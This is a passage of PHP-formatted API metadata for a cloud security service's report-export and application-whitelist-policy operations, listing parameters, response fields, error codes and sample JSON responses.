'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9FBC6E47-7508-58C9-9E76-528E118CB1CC\\",\\n \\"ReportList\\": [\\n {\\n \\"ReportStatus\\": \\"0\\",\\n \\"IsDefault\\": \\"1\\",\\n \\"ReportType\\": 0,\\n \\"ReportId\\": 1,\\n \\"Title\\": \\"test\\",\\n \\"ReportVersion\\": \\"2.0.0\\",\\n \\"ReportStartDate\\": 1721836800000,\\n \\"ReportEndDate\\": 1721923199999,\\n \\"PinnedTime\\": 1721836800000,\\n \\"ReportDays\\": 7\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeCustomizeReportList', ], 'DescribeReportExport' => [ 'summary' => 'Queries the information about a report export task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ExportId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the export task.'."\n" ."\n" .'> You can call the [ExportCustomizeReport](~~2842677~~) operation to query the ID.', 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '2', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'ExportId' => [ 'description' => 'The ID of the export task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '79CFF74D-E967-5407-8A78-EE03B925FDAA', ], 'DownloadUrl' => [ 'description' => 'The download URL of the report.'."\n", 'type' => 'string', 'example' => 'https://xxxxxxxx.oss-cn-hangzhou-1.aliyuncs.com/xxxxx/xxxxxxxxxxxxxx?Expires=1671448125&OSSAccessKeyId=xxx', ], 'UrlExpiredTime' => [ 'description' => 'The timestamp when the download URL expires. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1660113647000', ], 'ExportDate' => [ 'description' => 'The time when the report was exported.'."\n", 'type' => 'string', 'example' => '2022-12-15', ], 'ReportId' => [ 'description' => 'The ID of the report.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '377665', ], 'ExportStatus' => [ 'description' => 'The status of the export task. Valid values:'."\n" ."\n" .'* **-1**: The export task fails.'."\n" .'* **0**: The export task is being initialized.'."\n" .'* **1**: The export task is being executed.'."\n" .'* **2**: The export task is successful.'."\n", 'type' => 'string', 'example' => '2', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ExportId\\": 2,\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925FDAA\\",\\n \\"DownloadUrl\\": \\"https://xxxxxxxx.oss-cn-hangzhou-1.aliyuncs.com/xxxxx/xxxxxxxxxxxxxx?Expires=1671448125&OSSAccessKeyId=xxx\\",\\n \\"UrlExpiredTime\\": 1660113647000,\\n \\"ExportDate\\": \\"2022-12-15\\",\\n \\"ReportId\\": 377665,\\n \\"ExportStatus\\": \\"2\\"\\n}","type":"json"}]', 'title' => 'DescribeReportExport', ], 'CopyCustomizeReportConfig' => [ 'summary' => 'Clones an existing security report. The new security report has the same configuration as the existing security report.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '59.46.XXX.XXX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ReportId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the report.'."\n" ."\n" .'> You can call the [DescribeCustomizeReportList](~~DescribeCustomizeReportList~~) operation to query the ID.', 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '492742', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1EE7B150-D67E-53FD-A52D-3E8E669A****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1EE7B150-D67E-53FD-A52D-3E8E669A****\\"\\n}","type":"json"}]', 'title' => 'CopyCustomizeReportConfig', ], 'DescribeChartList' => [ 'summary' => 'Queries the charts that are supported by using the security report feature of Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '157307', 'abilityTreeNodes' => [ 'FEATUREsasAT4UY0', ], 'autoTest' => true, 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ProjectCode', 'in' => 'query', 'schema' => [ 'description' => 'The code of the report. Valid value:'."\n" ."\n" .'* **customize_report**'."\n", 'type' => 'string', 'required' => true, 'example' => 'customize_report', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ReportId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the report.'."\n" ."\n" .'> You can call the [DescribeCustomizeReportList](~~DescribeCustomizeReportList~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '720549', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'ChartList' => [ 'description' => 'The charts.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The data of the chart.'."\n", 'type' => 'object', 'properties' => [ 'ChartId' => [ 'description' => 'The ID of the chart.'."\n", 'type' => 'string', 'example' => 'CID_CLOUD_ASSET_SUMMARY', ], 'ChartName' => [ 'description' => 'The name of the chart.'."\n", 'type' => 'string', 'example' => 'Security Score', ], 'BusinessName' => [ 'description' => 'The name of the business type. Valid values:'."\n" ."\n" .'* Overall Operations Metrics'."\n" .'* Asset Operations Metrics'."\n" .'* Security Alert Operations Metrics'."\n" .'* Vulnerability Operations Metrics'."\n" .'* Baseline Operations Metrics'."\n" .'* Cloud Product Operations Metrics'."\n" .'* Honeypot Operations Metrics'."\n", 'type' => 'string', 'example' => 'Overall Operation Metrics', ], 'BusinessType' => [ 'description' => 'The business type. Valid values:'."\n" ."\n" .'* INDEX_SECURITY_OVERALL_OPERATION'."\n" .'* INDEX_ASSET_OPERATION'."\n" .'* INDEX_SUSPICIOUS_OPERATION'."\n" .'* INDEX_VUL_OPERATION'."\n" .'* INDEX_BASELINE_CHECK_OPERATION'."\n" .'* INDEX_CLOUD_ASSET_OPERATION'."\n" .'* INDEX_HONEYPOT_RISK_OPERATION'."\n", 'type' => 'string', 'example' => 'INDEX_SECURITY_OVERALL_OPERATION', ], 'ChartType' => [ 'description' => 'The type of the chart. Valid values:'."\n" ."\n" .'* **text**'."\n" .'* **table**'."\n" .'* **gauge**'."\n" .'* **pie**'."\n" .'* **line**'."\n" .'* **bar**'."\n" .'* **timeBar**'."\n" .'* **timeLine**'."\n", 'type' => 'string', 'example' => 'text', ], ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '35B434CC-1615-5937-A04E-A9BC2868DB45', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ChartList\\": [\\n {\\n \\"ChartId\\": \\"CID_CLOUD_ASSET_SUMMARY\\",\\n \\"ChartName\\": \\"Security Score\\",\\n \\"BusinessName\\": \\"Overall Operation Metrics\\",\\n \\"BusinessType\\": \\"INDEX_SECURITY_OVERALL_OPERATION\\",\\n \\"ChartType\\": \\"text\\"\\n }\\n ],\\n \\"RequestId\\": \\"35B434CC-1615-5937-A04E-A9BC2868DB45\\"\\n}","type":"json"}]', 'title' => 'DescribeChartList', ], 'DescribeReportRecipientStatus' => [ 'summary' => 'Queries the status of a report recipient by using the security report feature of the System Configuration module in the Security Center console.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '39.174.xxx.xxx', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Recipients', 'in' => 'query', 'schema' => [ 'description' => 'The email address of the recipient. Separate multiple email addresses with commas (,).'."\n", 'type' => 'string', 'required' => true, 'example' => 'username@example.com,username@example.com', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8', ], 'ReportRecipientList' => [ 'description' => 'The report recipients.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about a single report recipient.'."\n", 'type' => 'object', 'properties' => [ 'Recipient' => [ 'description' => 'The email address of the report recipient.'."\n" ."\n" .'> If no email is specified when you create a report, the value of this parameter is empty.'."\n", 'type' => 'string', 'example' => 'username@example.com', ], 'IsVerify' => [ 'description' => 'Indicates whether the email address is verified. Valid values:'."\n" ."\n" .'* 0: no'."\n" .'* 1: yes'."\n" ."\n" .'> If no email is specified when you create a report, the value of this parameter is empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8\\",\\n \\"ReportRecipientList\\": [\\n {\\n \\"Recipient\\": \\"username@example.com\\",\\n \\"IsVerify\\": 1\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeReportRecipientStatus', ], 'ModifyProcessWhiteList' => [ 'summary' => 'Adds a process to or removes a process from the whitelist by using the application whitelist feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '92380', 'abilityTreeNodes' => [ 'FEATUREsasXNUPZF', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. You do not need to specify this parameter. It is automatically obtained by the system.'."\n", 'type' => 'string', 'required' => false, 'example' => '173.128.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the policy.'."\n" ."\n" .'> You can call the [DescribeWhiteListStrategyList](~~DescribeWhiteListStrategyList~~) operation to obtain the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1', ], ], [ 'name' => 'Md5s', 'in' => 'query', 'schema' => [ 'description' => 'The MD5 hash value of the process startup file.'."\n" ."\n" .'> You can call the [DescribeWhiteListProcess](~~DescribeWhiteListProcess~~) operation to obtain the MD5 hash value.'."\n", 'type' => 'string', 'required' => true, 'example' => '001d7f68c3b44147988f0dc81192****', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The whitelist status of the process. Valid values:'."\n" ."\n" .'* **1**: removes a process from the whitelist.'."\n" .'* **2**: adds a process to the whitelist.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '11C96623-E106-59C9-866D-A6C82911****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], [ 'errorCode' => 'IllegalParameter', 'errorMessage' => 'Illegal parameter, please check the param.', ], [ 'errorCode' => 'StrategyStatusError', 'errorMessage' => 'The strategy status does not support this operation.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"11C96623-E106-59C9-866D-A6C82911****\\"\\n}","type":"json"}]', 'title' => 'ModifyProcessWhiteList', 'description' => 'The application whitelist feature is in public preview. You cannot apply for a trial of the feature. If you applied for a trial of the feature or the feature is in use, you can call this operation.'."\n", ], 'UpdateWhiteListStrategyStatus' => [ 'summary' => 'Updates the status of an application whitelist policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92456', 'abilityTreeNodes' => [ 'FEATUREsasXNUPZF', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. You do not need to specify this parameter. It is automatically obtained by the system.'."\n", 'type' => 'string', 'required' => false, 'example' => '219.143.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'StrategyIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the policy.'."\n" ."\n" .'> You can call the [DescribeWhiteListStrategyList](~~DescribeWhiteListStrategyList~~) operation to obtain the ID.'."\n", 'type' => 'string', 'required' => true, 'example' => '8516', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the policy. Valid values:'."\n" ."\n" .'* **0**: deleted'."\n" .'* **1**: learning'."\n" .'* **2**: paused'."\n" .'* **3**: learning completed'."\n" .'* **4**: enabled'."\n" ."\n" .'> '."\n" ."\n" .'* You can change the status to **paused** only if the policy status is **learning**.'."\n" ."\n" .'* You can change the status to **learning** only if the policy status is **paused**.'."\n" ."\n" .'* You can change the status to **enabled** only if the policy status is **learning completed**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '379a9b8f-107b-4630-9e95-2299a1ea****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"379a9b8f-107b-4630-9e95-2299a1ea****\\"\\n}","type":"json"}]', 'title' => 'UpdateWhiteListStrategyStatus', 'description' => 'The application whitelist feature is in public preview. You cannot apply for a trial of the feature. If you applied for a trial of the feature or the feature is in use, you can call this operation.'."\n", ], 'SaveWhiteListStrategyAssets' => [ 'summary' => 'Manages the servers to which an application whitelist policy is applied.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '92438', 'abilityTreeNodes' => [ 'FEATUREsasXNUPZF', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. You do not need to specify this parameter. It is automatically obtained by the system.'."\n", 'example' => '115.193.XX.XX', 'required' => false, 'type' => 'string', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'example' => 'zh', 'required' => false, 'type' => 'string', ], ], [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the policy.'."\n" ."\n" .'> You can call the [DescribeWhiteListStrategyList](~~DescribeWhiteListStrategyList~~) operation to query the ID.'."\n", 'example' => '2730', 'format' => 'int64', 'required' => true, 'type' => 'integer', ], ], [ 'name' => 'Operations', 'in' => 'query', 'schema' => [ 'description' => 'The operation that you want to perform. This parameter is in the JSON format. The value is case-sensitive. The value contains the following fields:'."\n" ."\n" .'* **status**: the operation. Valid values:'."\n" ."\n" .' * **0**: the delete operation.'."\n" .' * **1**: the add operation.'."\n" ."\n" .'* **target**: the UUID of the server.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to obtain the value of **target** from the response parameter Uuid.'."\n", 'example' => '[{"status":0,"target":"c98dcd24-fa57-4759-b5ec-f8a4ffeed****"}]', 'required' => true, 'type' => 'string', ], ], [ 'name' => 'RelationType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the policy. Valid values:'."\n" ."\n" .'* **1**: learning policy.'."\n" .'* **2**: application policy.'."\n", 'example' => '1', 'format' => 'int32', 'required' => true, 'type' => 'integer', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The returned data.'."\n", 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-XXXX', 'type' => 'string', ], ], 'type' => 'object', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-XXXX\\"\\n}","type":"json"}]', 'title' => 'SaveWhiteListStrategyAssets', ], 'SaveWhiteListStrategy' => [ 'summary' => 'Creates an application whitelist policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '92437', 'abilityTreeNodes' => [ 'FEATUREsasXNUPZF', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. You do not need to specify this parameter. It is automatically obtained by the system.'."\n", 'type' => 'string', 'required' => false, 'example' => '124.89.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the application whitelist policy.'."\n" ."\n" .'> You can call the [DescribeWhiteListStrategyList](~~DescribeWhiteListStrategyList~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '8494', ], ], [ 'name' => 'StrategyName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the application whitelist policy.'."\n", 'type' => 'string', 'required' => true, 'example' => 'test', ], ], [ 'name' => 'StudyTime', 'in' => 'query', 'schema' => [ 'description' => 'The duration of intelligent learning. Unit: hours.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '2', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'StrategyId' => [ 'description' => 'The ID of the application whitelist policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '8634', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '5DFD6277-CC36-57F7-ACE6-F5952XXXX', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"StrategyId\\": 8634,\\n \\"RequestId\\": \\"5DFD6277-CC36-57F7-ACE6-F5952XXXX\\"\\n}","type":"json"}]', 'title' => 'SaveWhiteListStrategy', 'description' => 'The application whitelist feature is in public preview. You cannot apply for a trial of the feature. If you applied for a trial of the feature or enabled the feature, you can call this operation.'."\n", ], 'DescribeWhiteListStrategyUuidCount' => [ 'summary' => 'Queries the number of the servers on which an application whitelist policy takes effect.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. You do not need to specify this parameter. It is automatically obtained by the system.'."\n", 'type' => 'string', 'required' => false, 'example' => '42.120.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the policy.'."\n" ."\n" .'> You can call the [DescribeWhiteListStrategyStatistics](~~DescribeWhiteListStrategyStatistics~~) operation to obtain the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '8516', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the policy. Valid values:'."\n" ."\n" .'* **1**: learning policy'."\n" .'* **2**: application policy'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'UuidCount' => [ 'description' => 'The number of the servers on which the application whitelist policy takes effect.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"UuidCount\\": 9,\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\"\\n}","type":"json"}]', 'title' => 'DescribeWhiteListStrategyUuidCount', 'description' => 'The application whitelist feature is in public preview. You cannot apply for a trial of the feature. If you applied for a trial of the feature or the feature is in-use, you can call this operation.'."\n", ], 'DescribeWhiteListStrategyStatistics' => [ 'summary' => 'Queries the statistics of application whitelist policies.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. You do not need to specify this parameter. It is automatically obtained by the system.'."\n", 'type' => 'string', 'required' => false, 'example' => '183.63.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'StrategyIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the policy.'."\n" ."\n" .'> You can call the [DescribeWhiteListStrategyList](~~DescribeWhiteListStrategyList~~) operation to obtain the ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '3645', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Maximum value: 1000. Default value: 20. If you leave this parameter empty, 20 data entries are returned per page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: **1**. Pages start from page 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '571B2642-BF51-5BDD-906B-D2340DB9****', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Strategies' => [ 'description' => 'The statistics of the policies.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The statistics of the policy.'."\n", 'type' => 'object', 'properties' => [ 'SuspiciousProcCount' => [ 'description' => 'The number of suspicious processes.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Status' => [ 'description' => 'The status of the policy. Valid values:'."\n" ."\n" .'* **0**: disabled'."\n" .'* **1**: learning'."\n" .'* **2**: paused'."\n" .'* **3**: learning completed'."\n" .'* **4**: enabled'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TrustProcCount' => [ 'description' => 'The number of trusted processes.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'StrategyName' => [ 'description' => 'The name of the policy.'."\n", 'type' => 'string', 'example' => 'win ', ], 'StrategyId' => [ 'description' => 'The ID of the policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '11906', ], 'Progress' => [ 'description' => 'The learning progress of the policy. Unit: percent (%).'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '80', ], 'VirusProcCount' => [ 'description' => 'The number of malicious processes.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'AssetCount' => [ 'description' => 'The number of the servers on which the policy takes effect.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], 'StudyTime' => [ 'description' => 'The intelligent learning duration. Unit: hour.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 